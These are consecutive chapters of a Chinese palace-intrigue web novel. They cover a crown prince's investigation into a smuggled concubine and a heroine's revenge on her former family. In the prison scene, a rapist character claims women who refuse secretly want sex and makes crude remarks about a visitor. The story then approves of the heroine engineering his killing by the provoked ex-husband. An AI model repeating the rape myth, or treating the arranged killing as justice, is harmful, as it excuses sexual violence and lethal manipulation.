然后,清风忽然想到!!! 完了,方才他只想到殿下的安全,竟然忘记了思考一个重点:殿下肯定不想让喻初晴知道这件事,而我这个傻叉,竟然把喻尚武叫来了! 天要亡我! “赶紧查!”清风振作了精神,决心把这件事烂在肚子里。 事情都已经发生了。 反正殿下没交代不能让喻尚武知道,若殿下问起来,他理所当然因为喻尚武当值就行了! 接下来便是排查整个太子府所有下人、护卫。 太子从东宫带出来的宫女、太监,以及昨夜当值的太子亲卫,也都在盘问的范围。 在清风审问的时候,喻尚武围绕着太子寝殿,上上下下左左右右研究了个遍。 清风忙完一阵,想找喻尚武搭把手的时候,抬头一看,喻大美人扛着锤蹲在屋脊上。 不由一惊:“喻尚武,你在上头做甚?” 喻尚武两只脚踩在屋脊上,盯指了指面前五脊六兽,道:“清风统领,这里有只神兽,裂开了。感觉是被掌风扫到的,裂开不多,但此人的掌风很是刚猛!” 清风心头一凛,立即飞身上去。 “你别动!”喻尚武阻止了他,道:“你看见没,这里的瓦片,有松动的迹象。” 按照他说的范围,清风对比了一下,非常确定:“这几片琉璃瓦掀开后,刚好足够一个偏瘦的男人跳下去。” 喻尚武颔首,又道:“但,如果这个男人带着了一个不会武功的女人,那个女人就很可能成为累赘。你看旁边的这几片,全都移位了。代表着,此人进去后,再从这里出来,夜色之下只顾着复元他自己掀开的瓦片,并没有注意到其他的。” 清风立即抓住重点:“所以,昨夜守在这边的暗卫是谁,很有可能是内鬼!” 他转身要走,想了想又回过头来问:“你还有其他发现没?” “没有。”喻尚武扛着锤子站起来,道:“但我可以肯定,对方的身形比我要壮实一点,却没你肩宽。” 他长得秀美,体型算是中等健硕。 清风则是五大三粗,没他大哥喻昔词高大,却也是妥妥的硬汉。 这一对比,清风就有轮廓了。 他颔首:“喻尚武,你很厉害!” 说完,便马不停蹄地去查暗卫。 喻尚武看上去像个笨蛋美人,但他只是不爱动脑,也不喜欢说话。 真正开动起脑筋来,自然不是傻的。 他也跳下屋檐。 正好,换了太子服制的萧景明从寝殿里出来。 看见他,不由一愣:“尚武,你怎么在这里?” 喻尚武道:“清风统领让属下帮忙查案,属下在分析对方的武力值。” 萧景明气息一窒:“……” 天塌了,真的! 第107章 这样更容易受孕 萧景明心里咒骂:清风怎么办事的?难道这种事还需要他亲口吩咐,才知道不告诉喻尚武这件事吗! 扣三个月月俸! 见太子表情不好,喻尚武美丽的面容上全都是懵懂,问:“殿下怎么了?昨夜中药,药力过猛伤着了?那要请太医么?” 哪壶不开提哪壶! 萧景明端着的表情差点皲裂。 好不容易压抑住,他清了清嗓子,道:“此事,不要告诉初晴。” 喻尚武别的事情懵逼,这件事却深信不疑:“不是……殿下为何会认为,这件事晴晴永远不可能知道?” 难不成在太子眼里,他妹妹是个傻子? 萧景明喉头一梗。 倘若是清风明月,这么“耿直”,就要挨训了。 但这个人是喻尚武,是喻初晴的二哥…… 他还是给几分面子的! 可喻尚武不知道这些啊。 锤子美人一脸认真,带着万分诚恳,说道:“属下觉得,也没有瞒着她的必要。桑雪是殿下的侍妾,殿下还有四大侍婢,类似于那个啥……通房丫头?您跟自己的女人过夜,跟晴晴也没关系呀。即便她知道了,也不会有什么的。” 萧景明:“……” 不得不说,这才是最扎心的! 是的,喻初晴根本不会在乎这种事,因为她对他萧景明没有任何男女之情! 不等萧景明梗过来,喻尚武又说了句:“再说了,万一桑雪怀上了孩子,这件事谁都会知道的。” 萧景明顿时想到了一件事:起居注! 皇家子嗣,尤其是储君,宠幸了身边的女人,都会在起居注上记录下来,以方便推断孕期,确保皇室血脉不容混淆! 瞒着喻初晴? 呵呵! 怎么可能? 萧景明的心情顿时跌落了谷底。 但他没忘记一件事:“春兰,让夏荷去给桑雪送避子汤,一定要亲眼看着她喝下去!” 他绝不会容许桑雪生他的孩子! 即便他娶不到喻初晴,今年内也会选别的太子妃,不可能容许长子长女、从太子妃以外的女人肚子里爬出来! 喻尚武见他的脸色漆黑。 情商再低,也能看出来对方极度不高兴。 当然,他宁愿相信萧景明脑子坏掉了,也不会反省自己有没有说错什么的。 他果断转移话题:“殿下,属下猜测,桑雪是被人送进来的。倘若没有内鬼里应外合的话,那人的武功只怕深不可测,高出昨晚值夜的暗卫太多!” 他禀报:“清风统领已经从暗卫查起了。” 清风查暗卫的速度很快——毕竟,值夜的就那么几个。 他擒住昨夜在问题屋脊上值守的暗卫,扔在了萧景明面前。 “启禀殿下,是五号值守的位置出现了缺口!” 萧景明沉着脸质问:“五号,你昨夜可有擅离职守?” 五号没有回答。 他四肢被束缚,为了预防他弄穿藏在齿缝里的毒囊自杀,清风将他的下巴也卸掉了。 清风上前,打算给五号把脱臼的下巴接上。 不想,一道凛冽的寒气逼过来。 正中五号喉咙! 五号瞪眼绝气,死不瞑目! 清风目眦欲裂:“殿下,竟然是冰箭!” 冰箭制作不易,射出的力道等等要求都很高,想要练成这手很难。 但优点是:倘使不是第一时间发现,将会无法正常判断凶器。 冰消融后,不会留下任何蛛丝马迹! 在清风与萧景明说话的时候,喻尚武已经速度极快地飞身掠起。 扛着他的超级铁锤,追着那冰箭的来处去了! 清风一回头,震惊不已:“喻尚武年仅二十,他的身法这么快!学的是哪一路武功,从来没见过!” 萧景明薄唇紧抿。 他收喻尚武进太子亲卫,主要是想讨好喻初晴,报答她的救命之恩。 着实没想到,喻尚武的功夫这么好! 但他现在应该思考的不是这个,而是:“派人去查老二、老五、老六。” 清风一凛:“殿下是怀疑二皇子、五皇子与六皇子这三路人马?” “把怀疑去掉。上次刺杀失败,这一次倒是换了新的招数!”萧景明神情阴翳,过往的温润不复存在。 上位者,被算计至此,他实在是很难心情好。 清风道:“对,还有南陵那边的事,明摆着冲殿下来的。要不是皇上相信殿下,只怕现在殿下的地位已经岌岌可危了!” 萧景明道:“话是如此,响马盗的事若不能解决,时间长了,一样要算在孤的头上!” 他已经顾不上别的事了,道:“先进宫,孤要跟父皇求旨,亲自领兵、讨伐响马盗!” 清风并不意外。 这件事太子已经想很久了,也跟幕僚相谈过。 先前太子幕僚们都说现在还不是最好的时机,需要等等。 可如今,再等下去,太子有没有命还是两说! 储君仪仗准备好,萧景明正要出府,就见喻尚武回来了。 喻大美人铁锤扛在左边肩头,右手拎着一个黑衣蒙面人。 拎着个人,宛如拎着一棵白菜! “殿下,人是追到了,但他……自杀了。我没来得及阻止。” 这事儿还真怪不着喻尚武。 他来太子亲卫营时间不长,以前也不太接触死士、暗卫这一行当,仅知道一点皮毛。 察觉对方要自杀,已经太晚了。 萧景明倒是没有责怪他,道:“交给明月,让他查查看,能不能看出来是哪一路人马。孤先回宫!” 喻尚武应:“是,殿下!” 且说,桑雪被送回禁足的长胜院后。 她心里是万分紧张。 昨夜铤而走险,成了! 看样子太子是不杀她了,但她不清楚太子是不想杀她,还是乱了分寸暂时没想到杀她? 现在当务之急,是怀上孩子! 她甚至不敢洗浴,回来后便在腰部下面垫得高高的,躺在床上。 昨夜那个人告诉她,这样更容易受孕! 然而—— 没多久,太子身边的四大侍婢之一的夏荷来了! “桑雪夫人,殿下有令,给你送坐胎药过来!” 桑雪再愚蠢也不可能相信,太子会想给她坐胎! 避子汤差不多! 她是拒绝的。 但拒绝无效。 夏荷命人强行撬开了她的嘴,将浓浓的一碗又臭又苦的药汁,全部灌进了她的肚子里。 如此还不算,还命人看守着她,不允许她催吐! 桑雪只得趴在床上哭。 怀不上孩子,她就一点儿价值都没有! 怎么办呢? 怎么办呢! 纸是包不住火的,太子府发生的事不胫而走。 太子进宫求旨去围剿响马盗的这点时间,太子宠幸侍妾的事,已经小范围传开了。 八卦是隐藏在人骨髓里的,小范围很快就变成了大范围。 喻尚武当值,还没回去县主府给家里人八卦,喻初晴就知道了这件事。 覆雨来报的时候,她正在书房跟喻昔词谈论生意上的事。 听覆雨说完,喻初晴倏地笑了。 “又是你意料之中?”喻昔词挑眉。 第108章 乱世先杀圣母 自从喻昔词回来,喻慕文基本住国子监,只会在五天一聚回来。 喻尚武亦然,尽可能待在东宫。 喻今歌倒是在家。 但喻昔词对这个幼弟包容性较好,顶多会指点一些功课,对其他方便基本处于放任状态。 因此,喻昔词闲暇的时候,多半都会在喻初晴这里。 相处一段时日下来,他已经对喻初晴有了初步认知! 喻初晴微微笑了下,道:“昨日我故意差人去跟太子搬救兵,其实我能猜想到,太子会亲自来。” “你知道太子心悦于你。”喻昔词说出这个原因。 “是。”喻初晴耸肩:“大哥知晓你妹子也会唯利是图,失望吗?幻灭吗?” 扪心自问,喻初晴认为自己不是什么好人。 生性凉薄,她做什么事,都是从利益的出发点来思考的。 好比给桑怀民挑选连玉这个对象,便是如此。 只因当时桑怀民是她大哥,她需要给桑怀民找好亲事,其实不是为桑怀民着想,是为了她自己—— 有个能相处的大嫂! 有个不会威胁到自己的大嫂! 有个能帮扶侯府的大嫂! 当时不知自己不是亲生的,只想着:侯府昌盛,她的出身才会好,有利于自己未来办很多事。 当然。 婚姻大事,一只巴掌拍不响。 她只是负责牵线,又不是按头强娶。 若非连家也有心结这门亲,自然不会成的。 虽不完全是她的锅,但她承认自己有责任,不会推诿。 总而言之:她不是什么好人! “不算唯利是图。”喻昔词笑道:“人不为己天诛地灭,乱世之中,最要不得的便是愚善。” 喻初晴挑眉,灿然一笑,道:“对,乱世先杀圣母!” 她坦然承认:“我知道太子大概率会亲自来,事发已经傍晚,处理完这件事,宫门必定下钥了。那么,太子就会回太子府。至于桑雪是否会做什么,我无法控制。可从人性的角度分析,这是桑雪的唯一机会,宁可挣个鱼死网破她也会抓住的。只要她冒犯到了太子,太子必定容不下她。侍妾没人权,在太子府里处置一个侍妾,岂非很容易?” 说到这里,她有些遗憾:“但我实在想不到,竟然背后有人给她操刀,还真让她如愿了!” 喻昔词拧眉,不语。 喻初晴歪头问:“我这样对付大哥十七年的妹妹,大哥可是觉得我过分了?” “并非。”喻昔词面色依旧严峻,道:“我只是在想,这幕后之人会是哪一路人马。” 上次他们就说,争储之斗已经拉开序幕。 这件事,只是其中一环! 喻初晴道:“那就查!” 她抬起眼眸,与喻昔词对视上,抓取了一个很重要的点:“大哥,是什么人在背后传这件事,找到源头,兴许是个突破口!” 一、太子不想外界知道这件事; 二、桑雪没办法让外界宣扬这件事; 三、幕后之人推动太子睡桑雪,必定有目的! 那么,传扬这件事,也就只可能是幕后推手做的了。 喻昔词赞赏地道:“晴晴可真是……多智如妖,比慕文还甚!” 不就是太子宠幸一个侍妾吗?何必要传出来,传得沸沸扬扬? 天下熙熙皆为利来,天下攘攘皆为利往! 他们既然做了,那就必定有原因。 说查就查,喻初晴派出自己的人手,喻昔词也使用了他自己的门路。 不确定谁的人更快,反正都出手。 喻昔词离开后不久,腾云拿着一封信进来:“县主,王爷来信了!” “嗯?”喻初晴猛地抬起头来:“快给我!” 距离上一封信,已经隔太久。 即便知晓萧风岚传信不易,她还是等得有些心焦。 过去从来不用担心他。 在帝京,那狗东西应付自如,辈分高、身份尊贵,只有他招惹别人的份儿。 可他以身入局去做卧底…… 她相信他戏精的本事,却毕竟是战场,刀剑不长眼。 在现代,她谍战片看得不少,干这行的有多惊心动魄自不用提! “县主。”腾云把信呈上。 喻初晴迅速撕开火漆封口。 拿出信笺看了一眼,整个人愣住。 没想到,这封信竟会这样短! 只有三行: 晴晴,见信如唔: 一日不见兮,思卿若狂。 暂安,勿念。 第一行属于正常,但寥寥数语写到第三行,字迹就开始凌乱了。 喻初晴懂医药,对气味十分敏感。 她将信纸放到鼻间轻轻闻了下。 似有若无的血腥气飘进鼻腔。 很淡很淡,淡到不是天生灵敏的鼻子,都绝对闻不出来的那种! 那么,萧风岚是在什么情境下写的信? 见她愁眉不展,合欢将温茶送她面前,轻声问:“县主,怎么了?” 喻初晴将信笺放在桌上,指着“暂安”二字,道:“这两个字写得急匆匆的。” 又指着“勿念”俩字:“这潦草得过分,像是来不及了,匆忙写就。” 她微微一叹,道:“萧风岚这个人,日常滴水不漏,表面轻浮戏精,实际上内心强大、稳若泰山。能让他如此急切的事,非同小可。” 狗东西与太子同岁,但太子就像那蜜罐子里养出来的,心性还没长成; 而萧风岚却因为年幼失怙,早就总结出来一套属于自己的生存哲学。 喻初晴的心,难以抑制地提了起来。 “县主。”木棉安慰地说道:“你也不必紧张,再等等看?” 合欢则是提议:“王爷不是留了一些人手给县主?要不,让他们去打探打探?” “不。”喻初晴果断拒绝这个提议,面容逐渐冷凝,道:“他处身险境,不宜有任何人打搅,容易暴露。” 卧底遇见自己人,都必须装作不认识。 一头孤狼闯入狐群,都是涉险,更何况那是狼群! 一旦暴露,他双拳难敌四手,性命堪忧! 她将信笺叠好,重新放进信封里,递给合欢:“给我放进匣子里。” 木棉想说点轻快的,好调动一下气氛:“县主嘴上总是嫌弃王爷写信肉麻,却把王爷写的每一封信,都收藏得好好的。” 过去一年,尽管都在帝京,喻初晴在侯府,总是诸多不便,不是想见面就能见上的。 见不上的时候,逍王殿下就写信,都是些风花雪月的,肉麻得很。 但,喻初晴却没有丢弃任何一封,全部都让合欢锁了在信匣里。 喻初晴斜眸,瞥了木棉一眼,道:“留一手,以备不时之需,明白吗?” 木棉道:“是是是,县主做事喜欢未雨绸缪,总是不会错的。” 被这丫头说了两句,喻初晴心情轻松了一些,但并不松快。 她咬了咬牙,道:“还是太慢了,我想尽快动身离开帝京!” “腾云呢?”她抬起头来,道:“叫她去给连玉,送个口讯!” 第109章 一看丰腴少妇就走不动道儿 木棉答道:“腾云姐姐出去了。覆雨姐姐在外面候着。” 喻初晴颔首:“让覆雨去。” 木棉出去。 “打探消息,县主都会担心打搅到王爷做事。”合欢把信锁好回来,问:“县主你亲自过去,岂非更加让王爷挂念?” 喻初晴摇头:“我去了,也未必要见他。只是离得近一些,倘使他需要支援,我可以第一时间让人去帮他!” 她并不托大,觉得自己有能力在战乱之中存活。 所以,是派人去帮萧风岚,而不是自己上。 但她可以在附近调度人手! 她垂眸,低头盯着自己的手,五指攥紧,又道:“我不希望,万一出了什么不好的事,我是最后一个得到消息的,到时候做什么都于事无补!后悔,毫无意义!” 人们总以为时光很漫长,总是“等到以后”、“将来我怎样了就如何”、“来日我们”…… 殊不知,遗憾往往就是在这里产生的。 恍然之间,“来日方长”也许就变成了“等一不归人”! 她不去掺和萧风岚的任务,但她想在距离最近的地方,无论发生什么事,都能立即采取行动。 让自己,不留遗憾! 合欢跟了她几年,哪能不知道主子的性子? 她就是居安思危、未雨绸缪,走一步看十步、甚至百步的人! “县主放心,覆雨知道怎么做,必定会让大少夫人达成县主的期望——哦,应该称呼连夫人了。” 京兆府大牢。 再怎么说,南阳侯都有爵位在身,即便被关在牢里,条件也比普通人的要好。 至少,他享受了单人间的待遇! 连玉来探监,先去的南阳侯这里。 提刑使亲自带着狱卒,领她前往牢房,并且给她说明情况: “南阳侯挨了两百杖刑,伤势比较严重。府尹大人请大夫来看过,说是椎骨骨裂了,裂口是挺大的。” “这要是年轻人啊,养养就好。但南阳侯年岁也不小了,即便能好,日后怕是连骑马都不可能了。” “杖刑后好几日,南阳侯都在起烧,高热不退。今晨才好了一些,病况倒是稳定了。” “不过,此时他应该还在昏睡,估摸着,夫人跟他是说不上话。” 连玉能进来,自然是打点过的。 也不难,覆雨亲自陪着来。 有永安县主的腰牌,加上赏银丰厚,京兆府里这些人自然都是会办事的。 “无碍。”连玉说道:“我已不是桑家妇,只是来探望一下曾经的公爹,看过了就仁至义尽了。” 提刑使自然是知晓这件事的,笑道:“是是是,连夫人还是心善。” 覆雨说道:“既如此,夫人便去探望桑大公子吧。” 怎么说都曾经是夫妻。 一夜夫妻百日恩。 尽管到了后面撕破脸,连玉心里恨极了桑怀民,情面上也应该来探望一下。 不看,又怎么知道他自作孽不可活,有多惨呢? 相比南阳侯,桑怀民的条件差的就不是一点半点了。 住的还是两人间。 “桑大公子一无爵位,二无官职,大人还是看在县主的面上,给安排了这个牢房。” 提刑使领着连玉与覆雨一行,走到了另一个区域。 “大公子的状况,比南阳侯的要好一些。南阳侯是杖刑,大公子是鞭刑。鞭刑的皮肉损伤是必然的,伤痛厉害些,但养起来也快一些。” “桑大公子毕竟年轻,武人的身子骨也相当好,趴了几日就能自理了。” “就是这一间了,夫人您请进。” 铁链开锁的声音哗啦啦的。 提刑使又道:“夫人您与大公子说话,有什么事再命人叫在下便是。” 与桑怀民同住一间牢房的,是一个因为偷盗、淫人妻女被关进来的,叫做王三。 桑怀民自视高贵,侯府公子出身,自然是看不起王三。 王三见他鼻孔朝天,也看不惯他。 二人一人占据一边,井水不犯河水。 两个人都受过鞭刑,都在养伤状态,互相也干不了啥。 桑怀民的精神已经好很多,王三比他早几天关进来,也养得差不多了。 此时,看见一行女子进来,为首的一个让王三眼前一亮。 连玉成亲三年,年岁不大,但生养过孩子骨架撑开了,这阵子回了娘家养得比较好,比清瘦少女要偏丰腴一些。 是典型的少妇风韵。 王三这个人,不贪吃、不贪财,就贪色。 尤其不喜欢干瘦少女,一看丰腴少妇就走不动道儿! 见有人来探监,他瞄了一眼,然后眼神就看直了。 “桑大公子,这位是你夫人啊?” 王三没吃到南阳侯府与永安县主府的瓜,并不知道那些事,只知道跟自己同牢房的是南阳侯的大公子。 但想想吧,侯府公子犯事儿都被关了,还跟他一个平头百姓关在一起…… 可想而知,能是多高贵的主儿? 所以,压根没太把桑怀民当一回事。 桑怀民先前也听说,王三是因为淫人妻女这种事被抓的,心里也是极度看不起此人。 见王三主动说话,他冷哼一声,没理会。 他坐在自己的木板“床”上,朝走进来的连玉看去,没好气地道:“你怎么来了?” 连玉面色淡淡:“没想到,一段时日不见,你竟成了阶下囚。” 和离之后,她还是头一次见桑怀民。 从侯府嫡长子、威风凛凛的武将,到阶下囚,这才用了多长时间? 要说桑怀民这个人,长得是不差的。 以前意气风发的时候,也称得上俊美,意气风发。 可现在—— 脸色憔悴,蜡黄偏惨白。 胡茬满脸,进来后就没刮过了。 发丝凌乱得很,还挂着几根稻草碎屑。 为了养伤不得不光着膀子,身上只穿着一件粗制囚裤。 鞭伤是养得不错,但属于地牢的浓重酸臭味,混合着血腥恶臭,隔着老远就飘过来。 今非昔比,云泥之差。 连玉捏着帕子,站在牢门口的位置,没有往那边去,淡淡说了句:“夫妻一场,你有万千不是,也必须承认你是宝儿的亲生父亲。所以,我替儿子来看看你这不成器的爹。” 道义上她应该探视,但她其实不想来。 若非喻初晴让覆雨过来请她走这一趟,她压根就没想过要探监。 先前她经历过的那些苦难、那些绝望,都是桑怀民给她带来的。 好不容易呼吸到了自由的空气,她却也成了个和离过的女人,怎么能不恨? 桑怀民哼了一声,道:“你和初晴一起对付我的时候,怎么不想想你我夫妻一场?” 连玉呼吸一窒,立刻反唇相讥:“那你打我的时候,可有想过夫妻一场?” 看吧,这人就不值得一看! 桑怀民噎住。 还没说上话,那边王三忽然插嘴:“侯府公子,你还打女人啊!哎呀呀,娇花一样的美人儿,就是应该拿来呵护的。同为男人,我都要看不起你!” 第110章 句句杀人诛心! “有你什么事!” 桑怀民被连玉给怼了,本就心情不愉。 面对王三这种瘪三儿,他可就高高在上了:“你这种淫人妻女的破烂货,就该下地狱!” “嘿!”王三也不高兴了:“我那怎么叫淫呢?明明是好好疼惜小美人儿,她明明也是舒服的呀!女人啊,在床上都是口是心非的,嘴上说不要,实际上就是要!” 这种说法,桑怀民实在无法苟同,看着王三的眼神更鄙夷了。 连玉这一听,才知道王三是什么东西,更不想在此多待。 但她来这一趟的目的还没有达成,必须把喻初晴交代的事做完。 “桑怀民。” 连玉面色冷凝,道:“我也只是出于道德之心来看看你,否则像你这种人,我一辈子都不想与你再见。” 桑怀民更不高兴了。 他本就是个极度好面子的人,在自己看不起的王三面前,被自己的妻子这样奚落——即便和离了,在他心里也是他的妻子。 脸一下子挂不住了,他当即跳起来,怒道:“玉娘!我是你的丈夫,我是你的天!” “不。”连玉冷笑:“我们已经和离了,你连你自己的天都撑不住,还想做我的天?” 她瞪视着桑怀民,在地牢阴暗的光线下,宛如看着一只又脏又臭的破鞋。 “你放心在牢里待着,父兄已经在为我请媒,我会尽快谈一门好亲事,给人做个续弦也不打紧,只要男方待我宝儿好就行。” 估计做了三年夫妻,她还是了解桑怀民的痛点在哪里的。 这人是几兄弟中最像南阳侯的一个,狂妄自大、占有欲强,看不起女人、把女人当做他的所有物。 自己的所有物被其他人占了,绝对能让他暴跳如雷! 所以,她对准了这个痛点戳! 说着,她冲桑怀民露出一丝微笑,“十年后你出来,一无所有!” “没有银子,没有权势,没有官位;没有妻子、也没有儿子。说不定,父亲也没了?” “毕竟南阳侯伤势很重,方才我从那边过来,听说他受刑杖之时被打裂了椎骨,整个人状态极差,指不定还能活多久。” “桑怀民,你说你这一生,是不是很失败?” “你桑家,老三断了腿,老四……” “哦对了,你还不知道呢吧?” “老夫人已经没了!是被桑怀盛害死的,你能想得到吗?” “你们桑家兄弟,真的是,没有一个好东西啊!” “杀人偿命,老四人在大理寺监牢,指不定要判个问斩呢!” “现在就看你们家唯一有点出息的老二,是不是能传宗接代了。” “我看啊,也是难!你们桑家这种恶劣的骨血,就应该在你这一代彻底断掉!” “我会嫁给其他男人,带着你的儿子,让你的儿子改姓、喊其他男人做爹!” 这些话,哪一句不是杀人诛心? 而那一丝微笑,比她说的这些话更刺激,宛如抽了桑怀民一耳光不说,还把他的脸皮放在脚底下踩来踩去! 尤其是听到桑怀盛把祖母害死的事,他震惊无比:“你说什么,怀盛他……” 连玉没有其他可说的,根本不想理他,转身离去:“我们走。” “站住!” 桑怀民背后的结痂的伤口拉扯到就会很痛,他也顾不得了,迅速追上去。 他一把擒住连玉的手腕,问:“你给我说清楚,怀盛的事是怎么回事!” “呵!”连玉根本不惧,一拳头打在他肩头被鞭子抽过的结痂上。 桑怀民吃痛,不得不松开手:“你!” 连玉又给了他一脚,踹在他的膝盖上。 在桑怀民不得不退后的情况下,她已经踏步走出了牢门。 而外面的狱卒,立即把牢门锁上了。 桑怀民气得要死:“连玉你这个贱人!你专门来,就是跟我说这些故意气我的?” 连玉顿住脚步,侧头回来看他,唇角再次勾出微笑,嘲讽地道:“不然呢?难不成你还有什么值得我惦记的?” 她的笑容忽然扩大,说出最后一句:“你这种阴沟里的臭虫,就应该烂在泥地里!” 这次,她转身走了。 再没有回头。 桑怀民捉着牢栏,看着她的背影,气得发疯:“贱人!你站住!你给老子站住!你说什么!什么叫祖母没了,是怀盛害死的?你给我说清楚!” 身后传来王三幽幽的话:“侯府公子,看样子你混得很差啊,结发妻子对你都是深恶痛绝,啧啧啧,真是男人中的败类!” 他露出回味的淫笑,搓着手道:“不过你这夫人倒真不错!” “不仅长得漂亮,那一对大白馒头坠挂着,一看就很好捏!” “明明看起来很有肉,腰身却是纤细,宛如水蛇!” “生过孩子啊?” “我王三最喜欢刚喂养过孩子的女人了,尤其是还有奶水的那种……” 桑怀民本来就被连玉刺激得怒气上头,再听王三这么说,瞬间发狂。 “你给我闭嘴!” 他鄙夷地看向王三:“你算什么东西?泥腿子下等庶民,娶不到妻子惦记别人的老婆,管不住自己裤裆里那二两肉的烂玩意儿!” 王三一听这话,也不高兴了,哼道:“你管得住裤裆?你老婆不要你了!” 他嘲笑起桑怀民来:“我刚才可是听得清清楚楚!你老婆说,她要带着你的儿子嫁给别人!哈哈哈哈,你还当你还是高高在上的侯府公子啊?人家宁愿给别人做续弦,也要和你和离!还真当自己是个玩意儿了!” “她不会的!”桑怀民拒绝接受这个说法:“我了解玉娘,她品行端正、贤良淑德,也就是说两句话气气我。她不会改嫁的!” 王三直接粉碎了他的美梦:“别自欺欺人了,没看见她眼里都是对你的嫌弃吗?你坐十年牢出去,会是个什么模样,你没想过吧!就你前妻那样的美人儿,到时候还能看上你?” 桑怀民还在想刚才连玉说的话: ——桑怀民,你说你这一生,是不是很失败? ——你没有银子,没有权势,没有官位;没有妻子、也没有儿子。说不定,父亲也没了? ——我会嫁给其他男人,带着你的儿子,让你的儿子喊其他男人做爹! 越想越气,越想越气! 他不愿意接受这个事实。 想到目前的侯府,更是悲从心来: 他和父亲被关进牢里,母亲也没来看他,二弟也没来看他! 祖母没了?四弟害的? 这又是怎么回事! 难道,以后他真是只能烂在泥地里了? 越想,越绝望。 “要不是老子被关在这里,还真想尝尝官家夫人的滋味儿!” 桑怀民已经心乱如麻了,身后传来王三的臆想,顿时又添了一把火! 王三这个人,长得倒是人模人样的,只不过那笑容又油腻又恶心。 “长相就不说了,主要想咬一口那乃子,一定很带劲儿!” 桑怀民听得胸中怒火熊熊燃烧! 再怎么说,也是他的妻子、是他的女人,被别的男人这般意淫,他受不了一点! 他猛地冲过去,一把捏住王三的脖子。 “你给我去死……” ——题外话:宝子们多多发言,多写书评呀!卑微作者躲在角落里搓手手,不定时挑选回复。愿意评分的打五星好评哟,不想给五星的,就不要打分,蟹蟹! 第111章 太子幕僚中有细作? 永安县主府。 覆雨陪连玉走了一趟,回来的时辰,比预计的要晚了一些。 “县主,本来婢子应当送连夫人回府的,不想才走半道上,府衙的差爷急匆匆追上来,说是桑大公子杀人了!” “于是,我们不得不折返京兆府。” “虽然桑大公子伤势刚好,可他毕竟是武人出身。那个与他同住一间牢房的王三偏瘦,比桑大公子矮了一个头。也是鞭伤初愈,抵不过桑大公子的力气,硬生生被桑大公子掐到断气!” “婢子这才回来晚了。” 听完,喻初晴面无表情,没有半点惊讶。 合欢和木棉都吃惊地看向自家主子,眼里都是“料事如神”的崇拜。 木棉难掩兴奋地道:“难怪县主当时要给张大人提要求,请他帮忙把桑大公子跟一个该死的囚犯关在一起呢!” 原来,竟然是早早就下了这一步棋! 反正关在一起的人该死,但按律法又判不了杀头,让桑怀民把这个人弄死,也是替天行道了! 目前最能刺激桑怀民的,不是老夫人、不是父母,也不是兄弟。 而是他视为占有物、却已经和离掉、跟他再无瓜葛的妻子和儿子! 在恰当的契机——桑怀民有力气打死人的时候,让连玉去故意激怒桑怀民。 以喻初晴对桑怀民的了解,怒火中烧之下会干出什么出格的事情,很难说。 若桑怀民打不死对方,也一样可以想办法弄死对方,一样栽在桑怀民头上就是了。 环环相扣,出乎想象的顺利! 喻初晴面色淡淡,没有惊喜也没有得意,道:“所以,我选的是王三。” 当时她让覆雨去找张太鑫,为了表示对她的尊重,张太鑫送来了几个人选让她挑。 看到“淫人妻女”四个字,她二话不说,果断选了王三! 其他罪犯是残忍,强J犯,是恶心到了极点! 她先问的问题也不是关于牢狱里的事,而是:“好些日子不见了,连玉现在怎么样?” 覆雨答道:“连夫人回了娘家这阵子,养得不错,想来是走出阴霾了。发生这样的事,看上去也挺平静的,对张大人说,她已经和桑大公子和离了,桑家的事不要找她。” “她的性子我知晓,武将出身的姑娘,只要能过脱离狼窝,倒是没有那么多伤春悲秋的。”喻初晴颔首:“连玉很不错,连家人也很不错。” 她又问:“张大人通知桑家了吗?” “张大人命人去桑家通报这件事了。”覆雨道:“不过,桑家现在还在办丧事呢。桑二公子未必腾得出手吧?” 毕竟,桑老夫人死了,还是前天刚发生的事。 桑怀盛的案子,还在大理寺整理中,尚未宣判结果。 按本朝律法,桑怀盛不仅仅是杀人,杀的还是自己的祖母,光是孝道二字压他头顶,都够他死好几回了! 所以,他逃不过一个死。 桑怀民这边,跟着也出了事。 杀人者死,虽然杀的也是囚犯。就算不死,活罪也难逃。 喻初晴笑了下,道:“桑怀安那个人,即便腾得出手,也不会沾这一身屎的。” 她没问了,转而吩咐:“木棉,张大人那边再送两盒药过去,他会知道后面应该怎么做的。” 有些事,依然是秉公执法。 但,偏颇哪怕一点点,很多事的结果就不一样了! 她不至于为难张太鑫,让张太鑫做出什么违背原则的事。 张太鑫也是个人精,自然知道趋利避害,不然做不了京兆府尹这个位置。 覆雨应道:“是!” 喻初晴吩咐完,拿出自己写的草稿,在桑怀民这里打了个叉! 这张草稿纸上,打叉的有:老夫人、桑怀民、桑怀志、桑怀盛。 打了个问号的是:桑文柏。 她在桑怀安、桑雪两个名字上,分别画了个圈! 该放上日程了。 林大学士那边早就准备好了,只等一个合适的契机一举扑杀,将桑怀安一击打垮! “不过……”喻初晴琢磨着一件事:“太子那边现在如何?” 先前腾云不在,便是在跟进太子这边的状况。 此时腾云也已经回来了,答道:“殿下进宫请旨,求领兵出征、围剿响马盗!” 喻初晴皱眉:“一个文太子,贸然领兵,未必是好事!他的幕僚,到底是干什么吃饭的?” 她不是很赞成。 顿了顿,她忽然想到了什么:“太子幕僚中,该不会有细作吧?竟然会同意这种事!” “不无可能。”腾云问:“县主,需要派人去查吗?” 喻初晴思忖片刻,道:“查着,以备不时之需!” 虽说她如今跟太子捆绑在一块,是利益共同体,但她也并不是完全相信太子。 皇权路上的人,随时都有可能反水。 每一个都不能全信! 她连枕边人萧风岚,都不敢彻底放心,何况太子呢? 万一将来太子反手扎她一刀,她也必须有可反制对方的筹码! 腾云应道:“是!” “不过……”喻初晴将一支没有蘸墨的笔拿在手里,旋转着思考问题。 片刻后,又道:“太子亲征,倒也不完全是坏事,对他来说也是历练。见过真正的血雨腥风,在争储风云中,反而能更耐打抗造一些。免得我在他的船上,他翻船了,我也要遭殃!” 她转头吩咐覆雨:“你去联络渔樵二人,让他们想法子给萧风岚送消息,告诉他这件事,让他心里有个底。免得在战场上相遇,出什么岔子!” 萧风岚手底下养了四大高手:渔、樵、耕、读。 当然,这是外界不知的秘密。 日常跟随他的人,只有从小到大跟在身边伺候的。 他将“耕读”两个智囊担当带去南陵,“渔樵”两个武功更高的,便留在帝京保护她。 “是!”腾云又问:“主子还有什么吩咐吗?” 喻初晴转动着狼毫,半晌后,忽然笑了下。 萧风岚那狗东西,倒是知道她身边不需要智囊,而是更需要武力高强的人。 她心思在萧风岚这边,思路却还是清晰得可怕:“派人送个讯息给二哥,让他提醒太子殿下,不能一直关着桑雪,不然她都没有作死的空间!” 腾云眸色一亮:“婢子明白了!” 南阳侯府。 